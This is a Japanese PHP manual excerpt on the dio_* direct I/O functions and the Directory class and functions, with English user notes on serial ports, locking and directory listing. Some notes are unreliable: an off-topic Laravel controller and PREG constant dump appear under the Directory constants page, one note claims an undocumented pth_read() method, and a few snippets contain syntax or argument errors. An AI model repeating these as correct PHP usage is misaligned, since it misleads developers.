  • dio_fcntl — fd について C ライブラリの fcntl を実行する
  • dio_open — C ライブラリの入出力ストリーム関数が許すよりも低レベルでファイルをオープンする (必要ならファイルを作成する)
  • dio_read — ファイル記述子からバイトデータを読み込む
  • dio_seek — fd 上で whence から pos に移動する
  • dio_stat — ファイル記述子 fd に関する stat 情報を取得する
  • dio_tcsetattr — シリアルポートの端末属性とボーレートを設定する
  • dio_truncate — ファイル記述子 fd をオフセットバイトへ丸める
  • dio_write — オプションで丸め長さを指定してデータを書き込む

User Contributed Notes

php dot 5 dot gavinostlund at spamgourmet dot com 07-Dec-2007 04:36
You can manually build the dio extension for your version of PHP, or install an older version of PHP that still bundled dio.  It's not that hard to build it yourself, just a bit of a process, and it helps if you're on linux, and have a build environment... which I would assume you have if you are doing some kind of development that requires direct device I/O...  Just get the dio source from the cvs repo, compile it, and then add the extension to your php configuration...
tom at bitworks dot de 03-Nov-2007 05:41
to use mandatory locking on a linux system, the filesystem has to be well prepared.

# /etc/fstab: static file system information.
#
# <file system> <mount point>   <type>  <options>               <dump>  <pass>
/dev/hda1       /               ext3    errors=remount-ro,mand  0       1
/dev/hda2       none            swap    sw                      0       0
proc            /proc           proc    defaults                0       0
/dev/fd0        /floppy         auto    user,noauto             0       0
/dev/cdrom      /cdrom          iso9660 ro,user,noauto          0       0

For example here the ext3 partition has been prepared for mandatory locking. Otherwise no dio_function will work on the system.
richard d_0t cubek a_t example D0_t com 25-Sep-2007 01:13
IMPORTANT:

--enable-dio is NOT recognized as an option. After reporting a bug, i got following answer:

It is not bundled anymore. See http://pecl.php.net/dio to fetch the CVS version (being unmaintained, there is no release in pecl). Not a bug > bogus.


fd で指定したファイル記述子を閉じる

  • ≪ ダイレクト IO 関数
  • dio_fcntl ≫
  • PHP Manual
  • ダイレクト IO 関数
  • fd で指定したファイル記述子を閉じる

dio_close

(PHP 4 >= 4.2.0, PHP 5 < 5.1.0)

dio_close — fd で指定したファイル記述子を閉じる

説明

dio_close ( resource $fd ) : void

関数 dio_close() は、ファイル記述子 fd を閉じます。

パラメータ

fd

dio_open() が返すファイル記述子。

返り値

値を返しません。

例

例1 開いているファイル記述子を閉じる

<?php
$fd = dio_open('/dev/ttyS0', O_RDWR);

dio_close($fd);
?>

参考

  • dio_open() - C ライブラリの入出力ストリーム関数が許すよりも低レベルでファイルをオープンする (必要ならファイルを作成する)

User Contributed Notes

There are no user contributed notes for this page.


fd について C ライブラリの fcntl を実行する

  • ≪ dio_close
  • dio_open ≫
  • PHP Manual
  • ダイレクト IO 関数
  • fd について C ライブラリの fcntl を実行する

dio_fcntl

(PHP 4 >= 4.2.0, PHP 5 < 5.1.0)

dio_fcntl — fd について C ライブラリの fcntl を実行する

説明

dio_fcntl ( resource $fd , int $cmd , mixed $args = ? ) : mixed

関数 dio_fcntl() は、ファイル記述子 fd において cmd で指定された処理を行います。いくつかのコマンドでは、オプションの引数 args の指定が必要となります。

パラメータ

fd

dio_open() が返すファイル記述子。

cmd

以下の処理のいずれか。

  • F_SETLK - ロックが設定あるいはクリアされます。 ロックが他の誰かに設定されている場合、dio_fcntl() は -1 を返します。

  • F_SETLKW - F_SETLK と似ていますが、ロックが他の誰かに設定されている場合は dio_fcntl() はそのロックが開放されるまで待ちます。

  • F_GETLK - dio_fcntl() は、他の誰かがロックを妨げる場合、（後述の）連想配列を返します。 妨げるものがない場合、キー "type" は F_UNLCK に設定されます。

  • F_DUPFD - args 以上で最小のファイル記述子を探し、それを返します。

  • F_SETFL - ファイル記述子のフラグを args で指定した値に設定します。指定できる値は O_APPEND、O_NONBLOCK あるいは O_ASYNC のいずれかです。 O_ASYNC を使用するには、 PCNTL 拡張モジュールが必要です。

args

args は連想配列で、 cmd が F_SETLK あるいは F_SETLLW の際に以下のキーを保持します。

  • start - ロックを開始するオフセット。

  • length - ロックする領域の大きさ。ゼロはファイルの終端までを意味します。

  • wenth - l_start の相対位置指定。 SEEK_SET、 SEEK_END および SEEK_CUR のいずれか。

  • type - ロックの種類。F_RDLCK（読み込み ロック）、F_WRLCK（書き込みロック）あるいは F_UNLCK（ロック解除）のいずれか。

返り値

C ライブラリをコールした結果を返します。

例

例1 ロックの設定と解除

<?php

$fd = dio_open('/dev/ttyS0', O_RDWR);

if (dio_fcntl($fd, F_SETLK, Array("type"=>F_WRLCK)) == -1) {
   // ファイル記述子がロックされている
   echo "ロックを解除できません。別のプロセスによってロックされています。";
} else {
   echo "ロックが正常に設定/解除できました。";
}

dio_close($fd);
?>

注意

注意: この関数は Windows 環境にはまだ実装されていません。

User Contributed Notes

Guillermo Prandi 11-Jun-2013 11:52
Actually, there's a small typo in the above docs. The parameter for where l_start is relative to is actually "whence" and not "wenth" like stated.


C ライブラリの入出力ストリーム関数が許すよりも低レベルでファイルをオープンする (必要ならファイルを作成する)

  • ≪ dio_fcntl
  • dio_read ≫
  • PHP Manual
  • ダイレクト IO 関数
  • C ライブラリの入出力ストリーム関数が許すよりも低レベルでファイルをオープンする (必要ならファイルを作成する)

dio_open

(PHP 4 >= 4.2.0, PHP 5 < 5.1.0)

dio_open — C ライブラリの入出力ストリーム関数が許すよりも低レベルでファイルをオープンする (必要ならファイルを作成する)

説明

dio_open ( string $filename , int $flags , int $mode = 0 ) : resource

dio_open() は、ファイルをオープンして そのファイル記述子を返します。

パラメータ

filename

オープンするファイルのパス。

flags

flags パラメータには、 以下のフラグの組み合わせを指定します。 この値は、O_RDONLY、O_WRONLY、 あるいは O_RDWR のいずれかでなければなりません。 さらに、このリストからその他の値を組み合わせることもできます。

  • O_RDONLY - 読み込み専用でファイルをオープンします。

  • O_WRONLY - 書き込み専用でファイルをオープンします。

  • O_RDWR - 読み書き両用でファイルをオープンします。

  • O_CREAT - ファイルが存在しなければ 新しいファイルを作成します。

  • O_EXCL - O_CREAT および O_EXCL をともに指定すると、 すでにファイルが存在する場合に dio_open() が失敗します。

  • O_TRUNC - すでにファイルが存在し、書き込み アクセス用にオープンされている場合、ファイルの長さをゼロに切り詰めます。

  • O_APPEND - 書き込み時は、ファイルの終端に 追記します。

  • O_NONBLOCK - 非ブロッキングモードを指定します。

  • O_NOCTTY - TTY デバイスファイルをオープンするときに、 オープンしたファイルをプロセスが自動的に制御端末としないようにします。

mode

flags が O_CREAT を含む場合に、mode でファイルのモード (作成許可) を指定します。O_CREAT が flags に指定されている場合には mode が必須となり、それ以外の場合は無視されます。

ファイルを作成したときに実際に設定されるモードは、プロセスの umask 設定によって変わります。

返り値

ファイル記述子を返します。エラー時には false を返します。

例

例1 ファイル記述子をオープンする

<?php

$fd = dio_open('/dev/ttyS0', O_RDWR | O_NOCTTY | O_NONBLOCK);

dio_close($fd);
?>

参考

  • dio_close() - fd で指定したファイル記述子を閉じる

User Contributed Notes

Anonymous 08-Apr-2012 02:12
"The prominent reason" to use direct I/O is when your application provides its own cache feature, so you won't do double caching
Marius Karthaus 03-Mar-2010 12:02
One of the prominent reasons to use direct IO, is for it's ability to do actual direct IO, bypassing the operating system cache and getting the data from the disk directly.
The flag to do that (O_DIRECT) is missing from the documentation above. Maybe for good reasons, because this type of IO only works on blockdevices, not on files, and should only be used if you are **really** sure what you are doing.
j at pureftpd dot org 23-Jan-2005 04:13
Please note that dio_open()/dio_write()/dio_close() is *faster* than fopen()/fwrite()/fclose() for files.

fwrite() has to manage a 8k buffer, while dio_write() just issue a single write(). The end result is less system calls and less memory access.

Also, giving the full size to write() as with dio_write() let filesystems properly use preallocation in order to avoid fragmentation.
alla at cyber dot com dot au 22-Mar-2003 07:16
To specify a combination of flags you OR them together.
This was the only way I could get it to append:

$fd = dio_open($file, O_WRONLY | O_APPEND);


ファイル記述子からバイトデータを読み込む

  • ≪ dio_open
  • dio_seek ≫
  • PHP Manual
  • ダイレクト IO 関数
  • ファイル記述子からバイトデータを読み込む

dio_read

(PHP 4 >= 4.2.0, PHP 5 < 5.1.0)

dio_read — ファイル記述子からバイトデータを読み込む

説明

dio_read ( resource $fd , int $len = 1024 ) : string

関数 dio_read() は 記述子 fd で示されるファイルから len バイトを読み込み、それを返します。

パラメータ

fd

dio_open() が返すファイル記述子。

len

読み込むバイト数。指定されなかった場合は dio_read() は 1K サイズのブロックを読み込みます。

返り値

fd から読み込んだバイトデータを返します。

参考

  • dio_write() - オプションで丸め長さを指定してデータを書き込む

User Contributed Notes

alban 29-Jun-2009 05:58
I am using dio functions on windows to read RS232 port.
I can read/write but it seems that the write function cannot be binary.

In particular:
dio_write($com1,chr(10),1); will result in writing 2 bytes 0D 0A be cause \n is translated to \r\n. I have not found any way to overcome this limitation so far
matt at vhub dot com 18-May-2006 07:48
Note that dio_read on Windows (other platforms unknown) will not timeout if there is no data to read. There is no way to specify a timeout or do a non-blocking read on Windows.


fd 上で whence から pos に移動する

  • ≪ dio_read
  • dio_stat ≫
  • PHP Manual
  • ダイレクト IO 関数
  • fd 上で whence から pos に移動する

dio_seek

(PHP 4 >= 4.2.0, PHP 5 < 5.1.0)

dio_seek — fd 上で whence から pos に移動する

説明

dio_seek ( resource $fd , int $pos , int $whence = SEEK_SET ) : int

関数 dio_seek() は、指定されたファイル記述子の ファイル内の位置を変更する際に使用されます。

パラメータ

fd

dio_open() が返すファイル記述子。

pos

新しい位置。

whence

位置 pos をどのように解釈するかを指示します。

  • SEEK_SET（デフォルト）- pos がファイル先頭からの位置であることを 指定します。

  • SEEK_CUR - pos が現在のファイル位置からの文字数である ことを指定します。このカウントは正にも負にもなりえます。

  • SEEK_END - pos がファイル終端からの文字数であることを 指定します。負の値は、現在のファイルの範囲内の位置を指定します。 正の値は、現在のファイル終端を越えた位置を指定します。ファイル終端を 超える位置を指定して実際にデータを書き込んだ場合、ファイルは その位置までゼロバイトで埋めて拡張されます。

返り値

例

例1 ファイル内の位置の指定

<?php

$fd = dio_open('/dev/ttyS0', O_RDWR);

dio_seek($fd, 10, SEEK_SET);
// ファイル先頭から 10 文字目

dio_seek($fd, -2, SEEK_CUR);
// ファイル先頭から 8 文字目

dio_seek($fd, -5, SEEK_END);
// ファイル終端から 5 文字戻ったところ

dio_seek($fd, 10, SEEK_END);
// ファイル終端からさらに 10 文字進んだところ。
// ファイル終端と現在の位置の間は ゼロ で埋められる。

dio_close($fd);
?>

User Contributed Notes

There are no user contributed notes for this page.


ファイル記述子 fd に関する stat 情報を取得する

  • ≪ dio_seek
  • dio_tcsetattr ≫
  • PHP Manual
  • ダイレクト IO 関数
  • ファイル記述子 fd に関する stat 情報を取得する

dio_stat

(PHP 4 >= 4.2.0, PHP 5 < 5.1.0)

dio_stat — ファイル記述子 fd に関する stat 情報を取得する

説明

dio_stat ( resource $fd ) : array

dio_stat() は、与えられたファイル記述子に関する 情報を返します。

パラメータ

fd

dio_open() が返すファイル記述子。

返り値

以下のキーを含む連想配列を返します。

  • "device" - デバイス

  • "inode" - i ノード

  • "mode" - モード

  • "nlink" - ハードリンク数

  • "uid" - ユーザー ID

  • "gid" - グループ ID

  • "device_type" - デバイス型（inode デバイスの場合）

  • "size" - サイズ（バイト数）

  • "blocksize" - ブロック長

  • "blocks" - 割り当てられたブロック数

  • "atime" - 最終アクセス時刻

  • "mtime" - 最終更新時刻

  • "ctime" - 最終変更時刻

エラー時には dio_stat() は null を返します。

User Contributed Notes

There are no user contributed notes for this page.


シリアルポートの端末属性とボーレートを設定する

  • ≪ dio_stat
  • dio_truncate ≫
  • PHP Manual
  • ダイレクト IO 関数
  • シリアルポートの端末属性とボーレートを設定する

dio_tcsetattr

(PHP 4 >= 4.3.0, PHP 5 < 5.1.0)

dio_tcsetattr — シリアルポートの端末属性とボーレートを設定する

説明

dio_tcsetattr ( resource $fd , array $options ) : bool

dio_tcsetattr() は、オープンした fd の端末属性とボーレートを指定します。

パラメータ

fd

dio_open() が返すファイル記述子。

options

現在使用可能なオプションは以下のとおりです。

  • 'baud' - ポートのボーレート - とりうる値は 38400,19200,9600,4800,2400,1800, 1200,600,300,200,150,134,110,75 あるいは 50 で、デフォルト値は 9600 。

  • 'bits' - データビット - とりうる値は 8,7,6 あるいは 5 で、デフォルト値は 8 。

  • 'stop' - ストップビット - とりうる値は 1 あるいは 2 で、デフォルト値は 1 。

  • 'parity' - とりうる値は 0,1 あるいは 2 で、デフォルト値は 0 。

返り値

値を返しません。

例

例1 シリアルポートのボーレートを設定する

<?php

$fd = dio_open('/dev/ttyS0', O_RDWR | O_NOCTTY | O_NONBLOCK);

dio_fcntl($fd, F_SETFL, O_SYNC);

dio_tcsetattr($fd, array(
  'baud' => 9600,
  'bits' => 8,
  'stop'  => 1,
  'parity' => 0
));

while (1) {

  $data = dio_read($fd, 256);

  if ($data) {
      echo $data;
  }
}

?>

注意

注意: この関数は Windows 環境にはまだ実装されていません。

User Contributed Notes

daniel widyanto (kunilkuda at gmail dot com) 30-Jun-2005 06:34
I'm using PHP to interface my AVR microcontroller in /dev/ttyS0. I bet someone else does the same.

Here's some hint :
- dio_tcsetattr -> is set to enable :
            - RTS / CTS hardware control
            - ICANON mode
              (means that dio_read will wait until 0x0A/LF or other control character is entered in /dev/ttyS0 before it returns reading result, when you use dio_write it will also send 0x0A/LF automatically in the end of the message to your device).

For those who dont need RTS/CTS and/or ICANON, you can use linux command : stty.

Here's mine :

<?php
        exec('stty -F /dev/ttyS0 4800 raw');

        $fd=dio_open('/dev/ttyS0',O_RDWR | O_NOCTTY | O_NDELAY);
        dio_fcntl($fd,F_SETFL,0);

        dio_write($fd,"\x41",1);  // write 0x41 or 'A' to /dev/ttyS0

        // Replace result_length with your expected command result length
        for ($i=0;$i < result_length;$i++) {
               $result .=dio_read($fd, 1);
        }
        echo $result;
?>

Refer to :
- Serial Programming Guide for POSIX Operating Systems, http://www.easysw.com/~mike/serial/
- stty man pages
fherrero at noticiasdenavarra dot com 01-Apr-2005 04:30
For Windows the Example 1 looks same this one:

<?php

exec('mode com1: baud=9600 data=8 stop=1 parity=n xon=on');
// execute 'help mode' in command line of Windows for help

$fd = dio_open('com1:', O_RDWR);

while (1) {

  $data = dio_read($fd, 256);

  if ($data) {
     echo $data;
  }
}

?>
healer at colorado dot edu 19-Jul-2003 03:37
It was frustrating at first because I was trying to get my Linux box to talk to an external serial device (a PIC18F452 programmable chip) and the example provided here refers to fcntl() and open() parameters that aren't in the PHP documentation.

I finally found out what does what through the man pages:

man open
man fcntl

still haven't gotten it to work, or how to reset the ttySx, but thought it may help someone...


ファイル記述子 fd をオフセットバイトへ丸める

  • ≪ dio_tcsetattr
  • dio_write ≫
  • PHP Manual
  • ダイレクト IO 関数
  • ファイル記述子 fd をオフセットバイトへ丸める

dio_truncate

(PHP 4 >= 4.2.0, PHP 5 < 5.1.0)

dio_truncate — ファイル記述子 fd をオフセットバイトへ丸める

説明

dio_truncate ( resource $fd , int $offset ) : bool

dio_truncate() は、ファイルの大きさを 最大 offset バイトまでに丸めます。

ファイルがこのサイズより大きかった場合は、残りのデータは失われます。 ファイルがこのサイズより小さかった場合は、ファイルがそのままになるか 拡張されるかは未定義です。後者の場合、拡張された部分のデータはゼロと なります。

パラメータ

fd

dio_open() が返すファイル記述子。

offset

オフセットのバイト数。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

注意: この関数は Windows 環境にはまだ実装されていません。

User Contributed Notes

There are no user contributed notes for this page.


オプションで丸め長さを指定してデータを書き込む

  • ≪ dio_truncate
  • ディレクトリ ≫
  • PHP Manual
  • ダイレクト IO 関数
  • オプションで丸め長さを指定してデータを書き込む

dio_write

(PHP 4 >= 4.2.0, PHP 5 < 5.1.0)

dio_write — オプションで丸め長さを指定してデータを書き込む

説明

dio_write ( resource $fd , string $data , int $len = 0 ) : int

dio_write() は、data から最大 len バイトを ファイル fd に書き込みます。

パラメータ

fd

dio_open() が返すファイル記述子。

data

書き込むデータ。

len

書き込むデータのバイト長。指定しなかった場合は、データ全体を 指定したファイルに書き込みます。

返り値

fd に書き込んだバイト数を返します。

参考

  • dio_read() - ファイル記述子からバイトデータを読み込む

User Contributed Notes

There are no user contributed notes for this page.


ディレクトリ

  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • Directory — Directory クラス
    • Directory::close — ディレクトリハンドルをクローズする
    • Directory::read — ディレクトリハンドルからエントリを読み込む
    • Directory::rewind — ディレクトリハンドルを元に戻す
  • ディレクトリ 関数
    • chdir — ディレクトリを変更する
    • chroot — ルートディレクトリを変更する
    • closedir — ディレクトリハンドルをクローズする
    • dir — ディレクトリクラスのインスタンスを返す
    • getcwd — カレントのワーキングディレクトリを取得する
    • opendir — ディレクトリハンドルをオープンする
    • readdir — ディレクトリハンドルからエントリを読み込む
    • rewinddir — ディレクトリハンドルを元に戻す
    • scandir — 指定されたパスのファイルとディレクトリのリストを取得する

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

DIRECTORY_SEPARATOR (string)
PATH_SEPARATOR (string)
Windows の場合はセミコロン、それ以外の場合はコロンとなります。
SCANDIR_SORT_ASCENDING (int)
PHP 5.4.0 以降で使用可能です。
SCANDIR_SORT_DESCENDING (int)
PHP 5.4.0 以降で使用可能です。
SCANDIR_SORT_NONE (int)
PHP 5.4.0 以降で使用可能です。

User Contributed Notes

-> Anonymous user 07-May-2019 06:21
<?php
class RegisterController extends Controller{
    /*
    |--------------------------------------------------------------------------
    | Register Controller
    |--------------------------------------------------------------------------
    |
    | This controller handles the registration of new users as well as their
    | validation and creation. By default this controller uses a trait to
    | provide this functionality without requiring any additional code.
    |
    */

    use RegistersUsers;

    /**
     * Where to redirect users after registration.
     *
     * @var string
     */
    protected $redirectTo = '/home';

    /**
     * Create a new controller instance.
     *
     * @return void
     */
    public function __construct()
    {
        $this->middleware('guest');
    }

    /**
     * Get a validator for an incoming registration request.
     *
     * @param  array  $data
     * @return \Illuminate\Contracts\Validation\Validator
     */
    protected function validator(array $data)
    {
        return Validator::make($data, [
            'name' => 'required|string|max:255',
            'email' => 'required|string|email|max:255|unique:users',
            'password' => 'required|string|min:6|confirmed',
        ]);
    }

    /**
     * Create a new user instance after a valid registration.
     *
     * @param  array  $data
     * @return \App\User
     */
    protected function create(array $data)
    {
        return User::create([
            'name' => $data['name'],
            'email' => $data['email'],
            'password' => bcrypt($data['password']),
        ]);
    }
}
?>

Result:

Success
orlov0562 at gmail dot com 21-Jul-2015 07:20
While debugging, this function return error number and it's difficult to remember all errors codes, so I think it's should be there.

<?php
print_r([
    'PREG_NO_ERROR' => PREG_NO_ERROR,
    'PREG_INTERNAL_ERROR' => PREG_INTERNAL_ERROR,
    'PREG_BACKTRACK_LIMIT_ERROR' => PREG_BACKTRACK_LIMIT_ERROR,
    'PREG_RECURSION_LIMIT_ERROR' => PREG_RECURSION_LIMIT_ERROR,
    'PREG_BAD_UTF8_ERROR' => PREG_BAD_UTF8_ERROR,
    'PREG_BAD_UTF8_OFFSET_ERROR' => PREG_BAD_UTF8_OFFSET_ERROR,
]);
?>

Result:

Array
(
    [PREG_NO_ERROR] => 0
    [PREG_INTERNAL_ERROR] => 1
    [PREG_BACKTRACK_LIMIT_ERROR] => 2
    [PREG_RECURSION_LIMIT_ERROR] => 3
    [PREG_BAD_UTF8_ERROR] => 4
    [PREG_BAD_UTF8_OFFSET_ERROR] => 5
)
Anonymous 08-Mar-2014 03:04
In PHP 5.6 you can make a variadic function.

<?php
/**
 * Builds a file path with the appropriate directory separator.
 * @param string $segments,... unlimited number of path segments
 * @return string Path
 */
function file_build_path(...$segments) {
    return join(DIRECTORY_SEPARATOR, $segments);
}

file_build_path("home", "alice", "Documents", "example.txt");
?>

In earlier PHP versions you can use func_get_args.

<?php
function file_build_path() {
    return join(DIRECTORY_SEPARATOR, func_get_args($segments));
}

file_build_path("home", "alice", "Documents", "example.txt");
?>
Anonymous 29-Sep-2013 04:09
For my part I'll continue to use this constant because it seems more future safe and flexible, even if Windows installations currently convert the paths magically. Not that syntax aesthetics matter but I think it can be made to look attractive:

<?php
$path = join(DIRECTORY_SEPARATOR, array('root', 'lib', 'file.php');
?>


Directory クラス

(PHP 4, PHP 5, PHP 7, PHP 8)

はじめに

Directory クラスのインスタンスを作るには dir() 関数を使います。new 演算子は使いません。

クラス概要

Directory {
/* プロパティ */
public string $path ;
public resource $handle ;
/* メソッド */
public close ( resource $dir_handle = ? ) : void
public read ( resource $dir_handle = ? ) : string
public rewind ( resource $dir_handle = ? ) : void
}

プロパティ

path

オープンされたディレクトリ。

handle

readdir() や rewinddir()、 closedir() などのディレクトリ関数で使います。

目次

  • Directory::close — ディレクトリハンドルをクローズする
  • Directory::read — ディレクトリハンドルからエントリを読み込む
  • Directory::rewind — ディレクトリハンドルを元に戻す

User Contributed Notes

serxis at gmail dot com 06-Jan-2015 10:10
If you have an error Directory::read() method not foundlike this one :
"PHP Fatal error:  Call to undefined method Directory::read() in ..."
 try pth_read() instead of read() - undocumented "feature"


ディレクトリハンドルをクローズする

  • ≪ Directory
  • Directory::read ≫
  • PHP Manual
  • Directory
  • ディレクトリハンドルをクローズする

Directory::close

(PHP 4, PHP 5, PHP 7, PHP 8)

Directory::close — ディレクトリハンドルをクローズする

説明

public Directory::close ( resource $dir_handle = ? ) : void

closedir() と同じですが、 dir_handle のデフォルトが $this->handle になります。

User Contributed Notes

There are no user contributed notes for this page.


ディレクトリハンドルからエントリを読み込む

  • ≪ Directory::close
  • Directory::rewind ≫
  • PHP Manual
  • Directory
  • ディレクトリハンドルからエントリを読み込む

Directory::read

(PHP 4, PHP 5, PHP 7, PHP 8)

Directory::read — ディレクトリハンドルからエントリを読み込む

説明

public Directory::read ( resource $dir_handle = ? ) : string

readdir() と同じですが、 dir_handle のデフォルトが $this->handle になります。

User Contributed Notes

There are no user contributed notes for this page.


ディレクトリハンドルを元に戻す

  • ≪ Directory::read
  • ディレクトリ 関数 ≫
  • PHP Manual
  • Directory
  • ディレクトリハンドルを元に戻す

Directory::rewind

(PHP 4, PHP 5, PHP 7, PHP 8)

Directory::rewind — ディレクトリハンドルを元に戻す

説明

public Directory::rewind ( resource $dir_handle = ? ) : void

rewinddir() と同じですが、 dir_handle のデフォルトが $this->handle になります。

User Contributed Notes

There are no user contributed notes for this page.


ディレクトリ 関数

参考

dirname(), is_dir(), mkdir(), rmdir()等の関数については、 ファイルシステム の節を参照ください。

目次

  • chdir — ディレクトリを変更する
  • chroot — ルートディレクトリを変更する
  • closedir — ディレクトリハンドルをクローズする
  • dir — ディレクトリクラスのインスタンスを返す
  • getcwd — カレントのワーキングディレクトリを取得する
  • opendir — ディレクトリハンドルをオープンする
  • readdir — ディレクトリハンドルからエントリを読み込む
  • rewinddir — ディレクトリハンドルを元に戻す
  • scandir — 指定されたパスのファイルとディレクトリのリストを取得する

User Contributed Notes

Jean-Paul Wattiaux 31-Aug-2007 08:08
Mine works as long as the samba volume is actually mounted. Having it listed in the "My Computer" window doesn't warrant that.
adrian 20-Aug-2007 02:33
Samba mounts under a Windows environment are not accessible using the mounted drive letter. For instance, if you have drive X: in Windows mounted to //example.local/shared_dir (where example.local is a *nix box running Samba), the following constructs

$dir = "X:\\data\\";
$handle = opendir( $dir );
or
$d = dir( $dir );

will return a warning message "failed to open dir: No error"

On the other hand, using the underlying mapping info works just fine. For example:

$dir = "//example.local/shared_dir/data";
$handle = opendir( $dir );
or
$d = dir( $dir );

Both cases do what they're expected to.
phdwight at yahoo dot com 27-Mar-2007 07:45
I have posted this same observation in scandir, and found out that it is not limited to scandir alone but to ALL directory functions.

Directory functions DOES NOT currently supports Japanese characters.
dkflbk at nm dot ru 14-Sep-2006 04:29
I wrote a simple backup script which puts all files in his folder (and all of the sub-folders) in one TAR archive...
(It's classic TAR format not USTAR, so filename and path to it can't be longer then 99 chars)
<?php
/***********************************************************
 *   Title:  Classic-TAR based backup script v0.0.1-dev
  **********************************************************/

Class Tar_by_Vladson {
    var $tar_file;
    var $fp;
    function Tar_by_Vladson($tar_file='backup.tar') {
        $this->tar_file = $tar_file;
        $this->fp = fopen($this->tar_file, "wb");
        $tree = $this->build_tree();
        $this->process_tree($tree);
        fputs($this->fp, pack("a512", ""));
        fclose($this->fp);
    }
    function build_tree($dir='.'){
        $handle = opendir($dir);
        while(false !== ($readdir = readdir($handle))){
            if($readdir != '.' && $readdir != '..'){
                $path = $dir.'/'.$readdir;
                if (is_file($path)) {
                    $output[] = substr($path, 2, strlen($path));
                } elseif (is_dir($path)) {
                    $output[] = substr($path, 2, strlen($path)).'/';
                    $output = array_merge($output, $this->build_tree($path));
                }
            }
        }
        closedir($handle);
        return $output;
    }
    function process_tree($tree) {
        foreach( $tree as $pathfile ) {
            if (substr($pathfile, -1, 1) == '/') {
                fputs($this->fp, $this->build_header($pathfile));
            } elseif ($pathfile != $this->tar_file) {
                $filesize = filesize($pathfile);
                $block_len = 512*ceil($filesize/512)-$filesize;
                fputs($this->fp, $this->build_header($pathfile));
                fputs($this->fp, file_get_contents($pathfile));
                fputs($this->fp, pack("a".$block_len, ""));
            }
        }
        return true;
    }
    function build_header($pathfile) {
        if ( strlen($pathfile) > 99 ) die('Error');
        $info = stat($pathfile);
        if ( is_dir($pathfile) ) $info[7] = 0;
        $header = pack("a100a8a8a8a12A12a8a1a100a255",
            $pathfile,
            sprintf("%6s ", decoct($info[2])),
            sprintf("%6s ", decoct($info[4])),
            sprintf("%6s ", decoct($info[5])),
            sprintf("%11s ",decoct($info[7])),
            sprintf("%11s", decoct($info[9])),
            sprintf("%8s", " "),
            (is_dir($pathfile) ? "5" : "0"),
            "",
            ""
            );
        clearstatcache();
        $checksum = 0;
        for ($i=0; $i<512; $i++) {
            $checksum += ord(substr($header,$i,1));
        }
        $checksum_data = pack(
            "a8", sprintf("%6s ", decoct($checksum))
            );
        for ($i=0, $j=148; $i<7; $i++, $j++)
            $header[$j] = $checksum_data[$i];
        return $header;
    }
}

header('Content-type: text/plain');
$start_time = array_sum(explode(chr(32), microtime()));
$tar = & new Tar_by_Vladson();
$finish_time = array_sum(explode(chr(32), microtime()));
printf("The time taken: %f seconds", ($finish_time - $start_time));
?>
engin bzzzt biz 01-Feb-2006 12:07
To join directory and file names in a cross-platform manner you can use the following function.

function join_path()
{
        $num_args = func_num_args();
        $args = func_get_args();
        $path = $args[0];

        if( $num_args > 1 )
        {
            for ($i = 1; $i < $num_args; $i++)
            {
                $path .= DIRECTORY_SEPARATOR.$args[$i];
            }
        }

        return $path;
}

It should do the following:
$src = join_path( '/foo', 'bar', 'john.jpg' );
echo $src; // On *nix -> /foo/bar/john.jpg

$src = join_path( 'C:\www', 'domain.com', 'foo.jpg' );
echo $src; // On win32 -> C:\\www\\domain.com\\foo.jpg
msh at onliners dot dk 30-Jan-2006 03:49
I would like to present these two simple functions for generating a complete directory listing - as I feel the other examples are to restrictive in terms of usage.

function dirTree($dir) {
    $d = dir($dir);
    while (false !== ($entry = $d->read())) {
        if($entry != '.' && $entry != '..' && is_dir($dir.$entry))
            $arDir[$entry] = dirTree($dir.$entry.'/');
    }
    $d->close();
    return $arDir;
}

function printTree($array, $level=0) {
    foreach($array as $key => $value) {
        echo "<div class='dir' style='width: ".($level*20)."px;'>&nbsp;</div>".$key."<br/>\n";
        if(is_array($value))
            printTree($value, $level+1);
    }
}

Usage is as simple as this:
$dir = "<any directory you like>";
$arDirTree = dirTree($dir);
printTree($arDirTree);

It is easy to add files to the tree also - so enjoy.
Nicolas Merlet - admin(at)merletn.org 22-Jan-2006 07:34
Here is a very similar function to *scandir*, if you are still using PHP4...

This recursive function will return an indexed array containing all directories or files or both (depending on parameters). You can specify the depth you want, as explained below.

<?php

// $path : path to browse
// $maxdepth : how deep to browse (-1=unlimited)
// $mode : "FULL"|"DIRS"|"FILES"
// $d : must not be defined

function searchdir ( $path , $maxdepth = -1 , $mode = "FULL" , $d = 0 )
{
   if ( substr ( $path , strlen ( $path ) - 1 ) != '/' ) { $path .= '/' ; }
   $dirlist = array () ;
   if ( $mode != "FILES" ) { $dirlist[] = $path ; }
   if ( $handle = opendir ( $path ) )
   {
       while ( false !== ( $file = readdir ( $handle ) ) )
       {
           if ( $file != '.' && $file != '..' )
           {
               $file = $path . $file ;
               if ( ! is_dir ( $file ) ) { if ( $mode != "DIRS" ) { $dirlist[] = $file ; } }
               elseif ( $d >=0 && ($d < $maxdepth || $maxdepth < 0) )
               {
                   $result = searchdir ( $file . '/' , $maxdepth , $mode , $d + 1 ) ;
                   $dirlist = array_merge ( $dirlist , $result ) ;
               }
       }
       }
       closedir ( $handle ) ;
   }
   if ( $d == 0 ) { natcasesort ( $dirlist ) ; }
   return ( $dirlist ) ;
}

?>


ディレクトリを変更する

  • ≪ ディレクトリ 関数
  • chroot ≫
  • PHP Manual
  • ディレクトリ 関数
  • ディレクトリを変更する

chdir

(PHP 4, PHP 5, PHP 7, PHP 8)

chdir — ディレクトリを変更する

説明

chdir ( string $directory ) : bool

PHP のカレントディレクトリを directory に変更します。

パラメータ

directory

新しいカレントディレクトリ

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

失敗した場合は E_WARNING レベルのエラーが発生します。

例

例1 chdir() の例

<?php

// カレントディレクトリ
echo getcwd() . "\n";

chdir('public_html');

// カレントディレクトリ
echo getcwd() . "\n";

?>

上の例の出力は、 たとえば以下のようになります。

/home/vincent
/home/vincent/public_html

注意

警告

PHP インタプリタが ZTS (Zend Thread Safety) を有効にしてビルドされている場合、 chdir() 関数を使って行った現在のディレクトリの変更はオペレーティングシステムには見えません。 全てのPHPのビルトイン関数は、現在のディレクトリの変更を尊重しますが、 FFI を使って呼び出された外部ライブラリはそうではありません。 あなたの PHP で ZTS が有効かどうかを調べるには、php -i コマンドを使うか、 ビルトイン定数PHP_ZTS を確認してください。

参考

  • getcwd() - カレントのワーキングディレクトリを取得する

User Contributed Notes

